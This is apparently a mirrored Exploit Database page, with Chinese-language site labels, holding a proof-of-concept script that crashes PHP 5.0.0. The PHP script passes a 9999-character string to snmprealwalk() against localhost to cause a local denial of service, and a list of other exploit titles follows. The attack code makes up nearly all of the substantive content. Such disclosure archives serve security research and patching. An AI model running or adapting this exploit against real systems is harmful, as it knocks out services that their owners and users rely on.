PHP 5.0.0 – ‘snmprealwalk()’ Local Denial of Service

Exploit Database
73 阅读

作者： Yakir Wizman

日期： 2016-08-31
类别：
- dos
平台：
- php
来源：https://www.exploit-db.com/exploits/40319/

<?php
#############################################################################
## PHP 5.0.0 snmprealwalk() Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
if (!extension_loaded("snmp")) die("You need snmp extension loaded!");

$str = str_repeat('A', 9999);
snmprealwalk('127.0.0.1', 'public', $str);
?>

last Exploits
PHP 5.0.0 – ‘snmprealwalk()’ Local Denial of Service的更多信息

Microsoft Edge Chakra JIT – ImplicitCallFlags Checks Bypass：
Palo Alto Networks PanOS – appweb3 Stack Buffer Overflow：
Mini-stream Ripper 3.0.1.1 – ‘.smi’ Local Buffer Overflow (PoC)：
Tor Browser < 0.3.2.10 - Use After Free (PoC)：
Adobe Flash – JXR Processing Double-Free：
Microsoft Windows Kernel – ‘win32k!NtQueryCompositionSurfaceBinding’ Stack Memory Disclosure：
Microsoft Windows Kernel – ‘bGetRealizedBrush’ Use-After-Free (MS15-097)：
Wyse – Machine Remote Power Off (Denial of Service) (Metasploit)：